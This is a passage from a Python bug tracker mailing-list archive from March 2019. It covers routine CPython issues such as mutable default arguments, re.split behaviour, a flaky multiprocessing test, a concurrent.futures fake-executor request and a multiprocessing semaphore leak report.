Change by SilentGhost <ghost.adh at runbox.com>:


----------
nosy: +pmoody

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36392>
_______________________________________

From report at bugs.python.org  Thu Mar 21 18:55:58 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Thu, 21 Mar 2019 22:55:58 +0000
Subject: [issue31369] re.RegexFlag is not included in __all__
In-Reply-To: <1504730402.58.0.544251648863.issue31369@psf.upfronthosting.co.za>
Message-ID: <1553208958.38.0.659717771614.issue31369@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

@ethan.furman, since you had originally added RegexFlag in #28082, do have an opinion on this?  Thanks.

----------
nosy: +cheryl.sabella, ethan.furman
versions: +Python 3.8 -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31369>
_______________________________________

From report at bugs.python.org  Thu Mar 21 18:59:11 2019
From: report at bugs.python.org (Hardik)
Date: Thu, 21 Mar 2019 22:59:11 +0000
Subject: [issue36393] python user define function is replacing variable value
Message-ID: <1553209151.69.0.362760019961.issue36393@roundup.psfhosted.org>


New submission from Hardik <hardik172 at gmail.com>:

I have created function "listappend():"with two arguments.Function can append list value with each function call and return updated value. I am trying to store this updated value into variable which I can but when I call listappend() to update it changes the stored variable value every time when I call a function.

You can see in below given example, list value is [10,20,30] and I have stored with value 40 in varible x.
so now x is [10,20,30,40]. I called function with new list value with [50] now it become [10,20,30,40,50]            
and the value of x is replaced with new value.  Even if you store x into a new variable and call listappend() again with new value then it will replace the value of new variable.  
 
>>> def listappend(a,list=[]):  
...     list.append(a)
...     return list
... 
>>> listappend(10) 
[10]
>>> listappend(20) 
[10, 20]
>>> listappend(30) 
[10, 20, 30]
>>> x = listappend(40) 
>>> print(x)
[10, 20, 30, 40]
>>> y = listappend(50) 
>>> print(y)
[10, 20, 30, 40, 50]
>>> z = listappend(60) 
>>> print(z)
[10, 20, 30, 40, 50, 60]
>>> print(x)                  
[10, 20, 30, 40, 50, 60]
>>> print(y)              
[10, 20, 30, 40, 50, 60]
>>> print(z)
[10, 20, 30, 40, 50, 60]
>>>

----------
components: macOS
files: logical Er
messages: 338568
nosy: HardikPatel, ned.deily, ronaldoussoren
priority: normal
severity: normal
status: open
title: python user define function is replacing variable value
type: enhancement
versions: Python 3.7
Added file: https://bugs.python.org/file48227/logical Er

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36393>
_______________________________________

From report at bugs.python.org  Thu Mar 21 19:05:12 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Thu, 21 Mar 2019 23:05:12 +0000
Subject: [issue31470] Py_Initialize documentation wrong
In-Reply-To: <1505406662.03.0.797586512068.issue31470@psf.upfronthosting.co.za>
Message-ID: <1553209512.48.0.46885829291.issue31470@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

Issue 32124 changed the documentation to define the C functions that are safe to call before Py_Initialize.  I am going to close this with that as a superseder.  Please reopen this if that issue didn't address all the concerns.  Thanks!

----------
nosy: +cheryl.sabella
resolution:  -> duplicate
stage:  -> resolved
status: open -> closed
superseder:  -> Document functions safe to be called before Py_Initialize()

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31470>
_______________________________________

From report at bugs.python.org  Thu Mar 21 19:12:25 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Thu, 21 Mar 2019 23:12:25 +0000
Subject: [issue36393] python user define function is replacing variable value
In-Reply-To: <1553209151.69.0.362760019961.issue36393@roundup.psfhosted.org>
Message-ID: <1553209945.61.0.362436382405.issue36393@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

This is expected behavior. Please read : https://docs.python.org/3/faq/programming.html#why-are-default-values-shared-between-objects . Default values are defined when function is created and not for every function call and you are having a reference to the returned list that is mutated. Also please use a better name for default since list is a built-in datatype and can cause confusion.

----------
nosy: +xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36393>
_______________________________________

From report at bugs.python.org  Thu Mar 21 19:28:37 2019
From: report at bugs.python.org (Zachary Ware)
Date: Thu, 21 Mar 2019 23:28:37 +0000
Subject: [issue36393] python user define function is replacing variable value
In-Reply-To: <1553209151.69.0.362760019961.issue36393@roundup.psfhosted.org>
Message-ID: <1553210917.16.0.432144777149.issue36393@roundup.psfhosted.org>


Change by Zachary Ware <zachary.ware at gmail.com>:


----------
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36393>
_______________________________________

From report at bugs.python.org  Thu Mar 21 19:33:16 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Thu, 21 Mar 2019 23:33:16 +0000
Subject: [issue36256] parser module fails on legal input
In-Reply-To: <1552235819.03.0.691593467494.issue36256@roundup.psfhosted.org>
Message-ID: <1553211196.14.0.0686259205189.issue36256@roundup.psfhosted.org>


Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:


New changeset 9a0000d15d27361eaa47b77600c7c00a9787a894 by Pablo Galindo in branch 'master':
bpo-36256: Fix bug in parsermodule when parsing if statements (GH-12477)
https://github.com/python/cpython/commit/9a0000d15d27361eaa47b77600c7c00a9787a894


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36256>
_______________________________________

From report at bugs.python.org  Thu Mar 21 19:35:40 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Thu, 21 Mar 2019 23:35:40 +0000
Subject: [issue32679] concurrent.futures should store full sys.exc_info()
In-Reply-To: <1516976610.0.0.467229070634.issue32679@psf.upfronthosting.co.za>
Message-ID: <1553211340.36.0.176481811422.issue32679@roundup.psfhosted.org>


Change by Cheryl Sabella <cheryl.sabella at gmail.com>:


----------
nosy: +bquinlan, pitrou
versions:  -Python 3.4, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue32679>
_______________________________________

From report at bugs.python.org  Thu Mar 21 19:36:11 2019
From: report at bugs.python.org (miss-islington)
Date: Thu, 21 Mar 2019 23:36:11 +0000
Subject: [issue36256] parser module fails on legal input
In-Reply-To: <1552235819.03.0.691593467494.issue36256@roundup.psfhosted.org>
Message-ID: <1553211371.61.0.185174607604.issue36256@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12440

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36256>
_______________________________________

From report at bugs.python.org  Thu Mar 21 19:56:24 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Thu, 21 Mar 2019 23:56:24 +0000
Subject: [issue36256] parser module fails on legal input
In-Reply-To: <1552235819.03.0.691593467494.issue36256@roundup.psfhosted.org>
Message-ID: <1553212584.4.0.408562087169.issue36256@roundup.psfhosted.org>


Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:


New changeset 00eb97b4a7d9a73b88ed7c76faee4e49204d5a00 by Pablo Galindo (Miss Islington (bot)) in branch '3.7':
bpo-36256: Fix bug in parsermodule when parsing if statements (GH-12488)
https://github.com/python/cpython/commit/00eb97b4a7d9a73b88ed7c76faee4e49204d5a00


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36256>
_______________________________________

From report at bugs.python.org  Thu Mar 21 19:56:37 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Thu, 21 Mar 2019 23:56:37 +0000
Subject: [issue36256] parser module fails on legal input
In-Reply-To: <1552235819.03.0.691593467494.issue36256@roundup.psfhosted.org>
Message-ID: <1553212597.91.0.331113992496.issue36256@roundup.psfhosted.org>


Change by Pablo Galindo Salgado <pablogsal at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36256>
_______________________________________

From report at bugs.python.org  Thu Mar 21 20:00:00 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Fri, 22 Mar 2019 00:00:00 +0000
Subject: [issue36394] test_multiprocessing_spawn fails on Windows7 3.x buildbot
Message-ID: <1553212800.6.0.577626809439.issue36394@roundup.psfhosted.org>


New submission from Pablo Galindo Salgado <pablogsal at gmail.com>:

https://buildbot.python.org/all/#/builders/58/builds/2098/steps/3/logs/stdio

Process Process-2:
Traceback (most recent call last):
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\multiprocessing\process.py", line 302, in _bootstrap
    self.run()
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\multiprocessing\process.py", line 99, in run
    self._target(*self._args, **self._kwargs)
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\test\_test_multiprocessing.py", line 4585, in child
    join_process(p)
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\test\_test_multiprocessing.py", line 88, in join_process
    support.join_thread(process, timeout=TIMEOUT)
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\test\support\__init__.py", line 2244, in join_thread
    raise AssertionError(msg)
AssertionError: failed to join the thread in 30.0 seconds
Timeout (0:15:00)!


======================================================================
FAIL: test_abort (test.test_multiprocessing_spawn.WithManagerTestBarrier)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\test\_test_multiprocessing.py", line 1765, in test_abort
    self.assertEqual(len(results2), self.N-1)
AssertionError: 5 != 4
----------------------------------------------------------------------
Ran 344 tests in 717.841s
FAILED (failures=1, skipped=40)
1 test failed again:
    test_multiprocessing_spawn
== Tests result: FAILURE then FAILURE ==
388 tests OK.

Looks like a race condition, new builds are OK.

----------
components: Tests, Windows
messages: 338573
nosy: pablogsal, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: test_multiprocessing_spawn fails on Windows7 3.x buildbot
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36394>
_______________________________________

From report at bugs.python.org  Thu Mar 21 20:00:42 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Fri, 22 Mar 2019 00:00:42 +0000
Subject: [issue31495] Wrong offset with IndentationError ("expected an
 indented block")
In-Reply-To: <1505595509.63.0.875016875525.issue31495@psf.upfronthosting.co.za>
Message-ID: <1553212842.17.0.385368107762.issue31495@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

I've retested this under 3.8 and the caret is now positioned at the first character in the line, therefore I'm closing this issue as resolved.

----------
nosy: +cheryl.sabella
resolution:  -> works for me
stage:  -> resolved
status: open -> closed
versions: +Python 3.8 -Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31495>
_______________________________________

From report at bugs.python.org  Thu Mar 21 20:56:21 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Fri, 22 Mar 2019 00:56:21 +0000
Subject: [issue36394] test_multiprocessing_spawn fails on Windows7 3.x buildbot
In-Reply-To: <1553212800.6.0.577626809439.issue36394@roundup.psfhosted.org>
Message-ID: <1553216181.87.0.131879677839.issue36394@roundup.psfhosted.org>


Change by Pablo Galindo Salgado <pablogsal at gmail.com>:


----------
keywords: +patch
pull_requests: +12441
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36394>
_______________________________________

From report at bugs.python.org  Thu Mar 21 21:33:57 2019
From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=)
Date: Fri, 22 Mar 2019 01:33:57 +0000
Subject: [issue18249] Incorrect and incomplete help docs for close() method
In-Reply-To: <1371516910.55.0.109427807192.issue18249@psf.upfronthosting.co.za>
Message-ID: <1553218437.05.0.850496204893.issue18249@roundup.psfhosted.org>


Andr?s Delfino <adelfino at gmail.com> added the comment:

Closing with Victor Stinner's approval.

----------
nosy: +adelfino
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue18249>
_______________________________________

From report at bugs.python.org  Thu Mar 21 21:39:20 2019
From: report at bugs.python.org (Brian McCutchon)
Date: Fri, 22 Mar 2019 01:39:20 +0000
Subject: [issue36395] Add deferred single-threaded/fake executor to
 concurrent.futures
Message-ID: <1553218760.85.0.609828298764.issue36395@roundup.psfhosted.org>


New submission from Brian McCutchon <bmccutchon at google.com>:

Currently, it is possible to make a basic single-threaded executor for unit testing:

class FakeExecutor(futures.Executor):

  def submit(self, f, *args, **kwargs):
    future = futures.Future()
    future.set_result(f(*args, **kwargs))
    return future

  def shutdown(self, wait=True):
    pass

However, this evaluates the provided function eagerly, which may be undesirable for tests. It prevents the tests from catching a whole class of errors (those where the caller forgot to call .result() on a future that is only desirable for its side-effects). It would be great to have an Executor implementation where the function is only called when .result() is called so tests can catch those errors.

I might add that, while future.set_result is documented as being supported for unit tests, a comment in the CPython source says that Future.__init__() "Should not be called by clients" (https://github.com/python/cpython/blob/master/Lib/concurrent/futures/_base.py#L317), suggesting that even the above code is unsupported and leaving me wondering how I should test future-heavy code without using mock.patch on everything.

------ Alternatives that don't work ------

One might think it possible to create a FakeFuture to do this:

class FakeFuture(object):

  def __init__(self, to_invoke):
    self._to_invoke = to_invoke

  def result(self, timeout=None):
    return self._to_invoke()

However, futures.wait is not happy with this:

futures.wait([FakeFuture(lambda x: 1)])  # AttributeError: 'FakeFuture' object has no attribute '_condition'

If FakeFuture is made to extend futures.Future, the above line instead hangs:

class FakeFuture(futures.Future):

  def __init__(self, to_invoke):
    super(FakeFuture, self).__init__()
    self._to_invoke = to_invoke

  def result(self, timeout=None):
    return self._to_invoke()

I feel like I shouldn't have to patch out wait() in order to get good unit tests.

----------
messages: 338576
nosy: Brian McCutchon
priority: normal
severity: normal
status: open
title: Add deferred single-threaded/fake executor to concurrent.futures
type: enhancement
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36395>
_______________________________________

From report at bugs.python.org  Thu Mar 21 21:55:07 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Fri, 22 Mar 2019 01:55:07 +0000
Subject: [issue36395] Add deferred single-threaded/fake executor to
 concurrent.futures
In-Reply-To: <1553218760.85.0.609828298764.issue36395@roundup.psfhosted.org>
Message-ID: <1553219707.11.0.686678256011.issue36395@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +bquinlan, pitrou

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36395>
_______________________________________

From report at bugs.python.org  Thu Mar 21 22:00:16 2019
From: report at bugs.python.org (Windson Yang)
Date: Fri, 22 Mar 2019 02:00:16 +0000
Subject: [issue14817] pkgutil.extend_path has no tests
In-Reply-To: <1337109540.72.0.0262382182113.issue14817@psf.upfronthosting.co.za>
Message-ID: <1553220016.42.0.679680014228.issue14817@roundup.psfhosted.org>


Windson Yang <wiwindson at outlook.com> added the comment:

I would like to work on this and make a PR.

----------
nosy: +Windson Yang
type:  -> enhancement
versions: +Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue14817>
_______________________________________

From report at bugs.python.org  Thu Mar 21 22:27:46 2019
From: report at bugs.python.org (Cameron Simpson)
Date: Fri, 22 Mar 2019 02:27:46 +0000
Subject: [issue36375] PEP 499 implementation: "python -m foo" binds the main
 module as both __main__ and foo in sys.modules
In-Reply-To: <1553040840.44.0.769944520222.issue36375@roundup.psfhosted.org>
Message-ID: <1553221666.49.0.789560319936.issue36375@roundup.psfhosted.org>


Change by Cameron Simpson <cs at cskk.id.au>:


----------
pull_requests: +12442

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36375>
_______________________________________

From report at bugs.python.org  Thu Mar 21 22:30:19 2019
From: report at bugs.python.org (Cameron Simpson)
Date: Fri, 22 Mar 2019 02:30:19 +0000
Subject: [issue36375] PEP 499 implementation: "python -m foo" binds the main
 module as both __main__ and foo in sys.modules
In-Reply-To: <1553040840.44.0.769944520222.issue36375@roundup.psfhosted.org>
Message-ID: <1553221819.75.0.378567064002.issue36375@roundup.psfhosted.org>


Cameron Simpson <cs at cskk.id.au> added the comment:

New PR 12490 attached with a fix for test_pdb. More extensive comments are in the leading comment on the PR itself. - Cameron

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36375>
_______________________________________

From report at bugs.python.org  Thu Mar 21 22:39:03 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Fri, 22 Mar 2019 02:39:03 +0000
Subject: [issue36396] Remove fgBg param of idlelib.config.GetHighlight()
Message-ID: <1553222343.66.0.774107223699.issue36396@roundup.psfhosted.org>


New submission from Terry J. Reedy <tjreedy at udel.edu>:

The fgBg param of idlelib.config.GetHighlight() is used in only one idlelib call.  Two other places could use it, but instead subscript the returned dict.  Remove the parameter, make the function always return a dict and not a color, and have the one fgBg call use a subscript.

----------
assignee: terry.reedy
components: IDLE
messages: 338580
nosy: terry.reedy
priority: normal
severity: normal
stage: commit review
status: open
title: Remove fgBg param of idlelib.config.GetHighlight()
type: enhancement
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36396>
_______________________________________

From report at bugs.python.org  Thu Mar 21 22:47:47 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Fri, 22 Mar 2019 02:47:47 +0000
Subject: [issue36396] Remove fgBg param of idlelib.config.GetHighlight()
In-Reply-To: <1553222343.66.0.774107223699.issue36396@roundup.psfhosted.org>
Message-ID: <1553222867.26.0.311596055221.issue36396@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
keywords: +patch
pull_requests: +12444
stage: commit review -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36396>
_______________________________________

From report at bugs.python.org  Thu Mar 21 22:48:42 2019
From: report at bugs.python.org (Elias Tarhini)
Date: Fri, 22 Mar 2019 02:48:42 +0000
Subject: [issue36397] re.split() incorrectly splitting on zero-width pattern
Message-ID: <1553222922.33.0.727048855468.issue36397@roundup.psfhosted.org>


New submission from Elias Tarhini <eltrhn at gmail.com>:

I believe I've found a bug in the `re` module -- specifically, in the 3.7+ support for splitting on zero-width patterns. Compare Java's behavior...

    jshell> "1211".split("(?<=(\\d))(?!\\1)(?=\\d)");
    $1 ==> String[3] { "1", "2", "11" }

...with Python's:

    >>> re.split(r'(?<=(\d))(?!\1)(?=\d)', '1211')
    ['1', '1', '2', '2', '11']

(The pattern itself is pretty straightforward in design, but regex syntax can cloud things, so to be totally clear: it finds any point that follows a digit and precedes a *different* digit.)

* Tested on 3.7.1 win10 and 3.7.0 linux.

----------
components: Regular Expressions
messages: 338581
nosy: Elias Tarhini, ezio.melotti, mrabarnett
priority: normal
severity: normal
status: open
title: re.split() incorrectly splitting on zero-width pattern
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36397>
_______________________________________

From report at bugs.python.org  Thu Mar 21 23:26:31 2019
From: report at bugs.python.org (Matthew Barnett)
Date: Fri, 22 Mar 2019 03:26:31 +0000
Subject: [issue36397] re.split() incorrectly splitting on zero-width pattern
In-Reply-To: <1553222922.33.0.727048855468.issue36397@roundup.psfhosted.org>
Message-ID: <1553225191.49.0.422515007837.issue36397@roundup.psfhosted.org>


Matthew Barnett <python at mrabarnett.plus.com> added the comment:

>From the docs:

"""If capturing parentheses are used in pattern, then the text of all groups in the pattern are also returned as part of the resulting list."""

The pattern does contain a capture, so that's why the result has additional '1' and '2'.

Presumably, Java's split doesn't do that.

Not a bug.

----------
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36397>
_______________________________________

From report at bugs.python.org  Thu Mar 21 23:28:12 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 22 Mar 2019 03:28:12 +0000
Subject: [issue31369] re.RegexFlag is not included in __all__
In-Reply-To: <1504730402.58.0.544251648863.issue31369@psf.upfronthosting.co.za>
Message-ID: <1553225292.51.0.199365272718.issue31369@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

I concur with David. This is an imlementation detail. No need to prefix it with a _ if the module uses __all__for public names.

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31369>
_______________________________________

From report at bugs.python.org  Thu Mar 21 23:35:04 2019
From: report at bugs.python.org (Yongzhi Pan)
Date: Fri, 22 Mar 2019 03:35:04 +0000
Subject: [issue33081] multiprocessing Queue leaks a file descriptor associated
 with the pipe writer
In-Reply-To: <1521137117.03.0.467229070634.issue33081@psf.upfronthosting.co.za>
Message-ID: <1553225704.99.0.459465040683.issue33081@roundup.psfhosted.org>


Change by Yongzhi Pan <panyongzhi at gmail.com>:


----------
nosy: +fossilet

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33081>
_______________________________________

From report at bugs.python.org  Fri Mar 22 00:18:26 2019
From: report at bugs.python.org (Zackery Spytz)
Date: Fri, 22 Mar 2019 04:18:26 +0000
Subject: [issue36398] A possible crash in structseq.c's structseq_repr()
Message-ID: <1553228306.11.0.338923675636.issue36398@roundup.psfhosted.org>


New submission from Zackery Spytz <zspytz at gmail.com>:

If the first PyUnicode_DecodeUTF8() call fails in structseq_repr(), _PyUnicodeWriter_Dealloc() will be called on an uninitialized _PyUnicodeWriter.

----------
components: Interpreter Core
messages: 338584
nosy: ZackerySpytz
priority: normal
severity: normal
status: open
title: A possible crash in structseq.c's structseq_repr()
type: crash
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36398>
_______________________________________

From report at bugs.python.org  Fri Mar 22 00:21:43 2019
From: report at bugs.python.org (Zackery Spytz)
Date: Fri, 22 Mar 2019 04:21:43 +0000
Subject: [issue36398] A possible crash in structseq.c's structseq_repr()
In-Reply-To: <1553228306.11.0.338923675636.issue36398@roundup.psfhosted.org>
Message-ID: <1553228503.19.0.416652264448.issue36398@roundup.psfhosted.org>


Change by Zackery Spytz <zspytz at gmail.com>:


----------
keywords: +patch
pull_requests: +12445
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36398>
_______________________________________

From report at bugs.python.org  Fri Mar 22 02:14:35 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Fri, 22 Mar 2019 06:14:35 +0000
Subject: [issue36396] Remove fgBg param of idlelib.config.GetHighlight()
In-Reply-To: <1553222343.66.0.774107223699.issue36396@roundup.psfhosted.org>
Message-ID: <1553235275.93.0.572390174994.issue36396@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

There were two uses in IDLE and a few in the tests.

----------
stage: patch review -> commit review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36396>
_______________________________________

From report at bugs.python.org  Fri Mar 22 03:24:38 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 22 Mar 2019 07:24:38 +0000
Subject: [issue36398] A possible crash in structseq.c's structseq_repr()
In-Reply-To: <1553228306.11.0.338923675636.issue36398@roundup.psfhosted.org>
Message-ID: <1553239478.53.0.750469679877.issue36398@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:


New changeset 93e8012f2cabd84f30b52e19fd3dc557efa9f8af by Serhiy Storchaka (Zackery Spytz) in branch 'master':
bpo-36398: Fix a possible crash in structseq_repr(). (GH-12492)
https://github.com/python/cpython/commit/93e8012f2cabd84f30b52e19fd3dc557efa9f8af


----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36398>
_______________________________________

From report at bugs.python.org  Fri Mar 22 03:30:38 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 22 Mar 2019 07:30:38 +0000
Subject: [issue35284] Incomplete error handling in
 Python/compile.c:compiler_call()
In-Reply-To: <1542753481.5.0.788709270274.issue35284@psf.upfronthosting.co.za>
Message-ID: <1553239838.72.0.782136136179.issue35284@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:


New changeset 97f5de01adf993aee17dcd26e22ae421d013f372 by Serhiy Storchaka (Zackery Spytz) in branch 'master':
bpo-35284: Fix the error handling in the compiler's compiler_call(). (GH-10625)
https://github.com/python/cpython/commit/97f5de01adf993aee17dcd26e22ae421d013f372


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35284>
_______________________________________

From report at bugs.python.org  Fri Mar 22 03:47:37 2019
From: report at bugs.python.org (Yongzhi Pan)
Date: Fri, 22 Mar 2019 07:47:37 +0000
Subject: [issue33081] multiprocessing Queue leaks a file descriptor associated
 with the pipe writer
In-Reply-To: <1521137117.03.0.467229070634.issue33081@psf.upfronthosting.co.za>
Message-ID: <1553240857.65.0.628644102144.issue33081@roundup.psfhosted.org>


Yongzhi Pan <panyongzhi at gmail.com> added the comment:

On macOS with Python 3.7.2, using pitrou's code, I suspect Python does not delete some semaphores used by Queue.

Run these: 

import multiprocessing
import os
import threading

os.system('lsof -p {} | grep -v txt'.format(os.getpid()))
q = multiprocessing.Queue()
q.put(1)
q.get()
threading.enumerate()
os.system('lsof -p {} | grep -v txt'.format(os.getpid()))
q.close()
threading.enumerate()
os.system('lsof -p {} | grep -v txt'.format(os.getpid()))

I see:
>>> import multiprocessing
>>> import os
>>> import threading
>>> 
>>> os.system('lsof -p {} | grep -v txt'.format(os.getpid()))
COMMAND   PID USER   FD   TYPE DEVICE  SIZE/OFF     NODE NAME
Python  56029  tux  cwd    DIR    1,4        96  1927156 /Users/tux/Desktop
Python  56029  tux    0u   CHR   16,2 0t2867183     2393 /dev/ttys002
Python  56029  tux    1u   CHR   16,2 0t2867183     2393 /dev/ttys002
Python  56029  tux    2u   CHR   16,2 0t2867183     2393 /dev/ttys002
0
>>> q = multiprocessing.Queue()
>>> q.put(1)
>>> q.get()
1
>>> threading.enumerate()
[<_MainThread(MainThread, started 4570830272)>, <Thread(QueueFeederThread, started daemon 123145368662016)>]
>>> os.system('lsof -p {} | grep -v txt'.format(os.getpid()))
COMMAND   PID USER   FD     TYPE             DEVICE  SIZE/OFF     NODE NAME
Python  56029  tux  cwd      DIR                1,4        96  1927156 /Users/tux/Desktop
Python  56029  tux    0u     CHR               16,2 0t2867914     2393 /dev/ttys002
Python  56029  tux    1u     CHR               16,2 0t2867914     2393 /dev/ttys002
Python  56029  tux    2u     CHR               16,2 0t2867914     2393 /dev/ttys002
Python  56029  tux    3     PIPE 0x5ab56e2f13ca4abb     16384          ->0x5ab56e2f13ca5a7b
Python  56029  tux    4     PIPE 0x5ab56e2f13ca5a7b     16384          ->0x5ab56e2f13ca4abb
Python  56029  tux    5r  PSXSEM                          0t0          /mp-oa1x27kb
Python  56029  tux    6r  PSXSEM                          0t0          /mp-khu1swie
Python  56029  tux    7r  PSXSEM                          0t0          /mp-pwrgzmzz
0
>>> q.close()
>>> threading.enumerate()
[<_MainThread(MainThread, started 4570830272)>]
>>> os.system('lsof -p {} | grep -v txt'.format(os.getpid()))
COMMAND   PID USER   FD     TYPE DEVICE  SIZE/OFF     NODE NAME
Python  56029  tux  cwd      DIR    1,4        96  1927156 /Users/tux/Desktop
Python  56029  tux    0u     CHR   16,2 0t2869010     2393 /dev/ttys002
Python  56029  tux    1u     CHR   16,2 0t2869010     2393 /dev/ttys002
Python  56029  tux    2u     CHR   16,2 0t2869010     2393 /dev/ttys002
Python  56029  tux    5r  PSXSEM              0t0          /mp-oa1x27kb
Python  56029  tux    6r  PSXSEM              0t0          /mp-khu1swie
Python  56029  tux    7r  PSXSEM              0t0          /mp-pwrgzmzz

The three PSXSEM persists even after some time. Is this some type of leakage?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33081>
_______________________________________

From report at bugs.python.org  Fri Mar 22 04:04:26 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Fri, 22 Mar 2019 08:04:26 +0000
Subject: [issue23984] Documentation error: Descriptors
In-Reply-To: <1429245728.01.0.810263114275.issue23984@psf.upfronthosting.co.za>
Message-ID: <1553241866.13.0.156871846026.issue23984@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:


New changeset cb2d71b28e5cac04bbd59b8b6dbec220c4da7beb by Raymond Hettinger (Miss Islington (bot)) in branch '3.7':
bpo-23984: Improve descriptor documentation (GH-1034) (GH-12459)
https://github.com/python/cpython/commit/cb2d71b28e5cac04bbd59b8b6dbec220c4da7beb


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue23984>
_______________________________________

From report at bugs.python.org  Fri Mar 22 04:04:25 2019
From: report at bugs.python.org (Zackery Spytz)
Date: Fri, 22 Mar 2019 08:04:25 +0000
Subject: [issue35284] Incomplete error handling in
 Python/compile.c:compiler_call()
In-Reply-To: <1542753481.5.0.788709270274.issue35284@psf.upfronthosting.co.za>
Message-ID: <1553241865.46.0.431744194826.issue35284@roundup.psfhosted.org>


Change by Zackery Spytz <zspytz at gmail.com>:


----------
pull_requests: +12446

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35284>
_______________________________________

From report at bugs.python.org  Fri Mar 22 04:10:49 2019
From: report at bugs.python.org (Chris Withers)
Date: Fri, 22 Mar 2019 08:10:49 +0000
Subject: [issue21269] Provide args and kwargs attributes on mock call objects
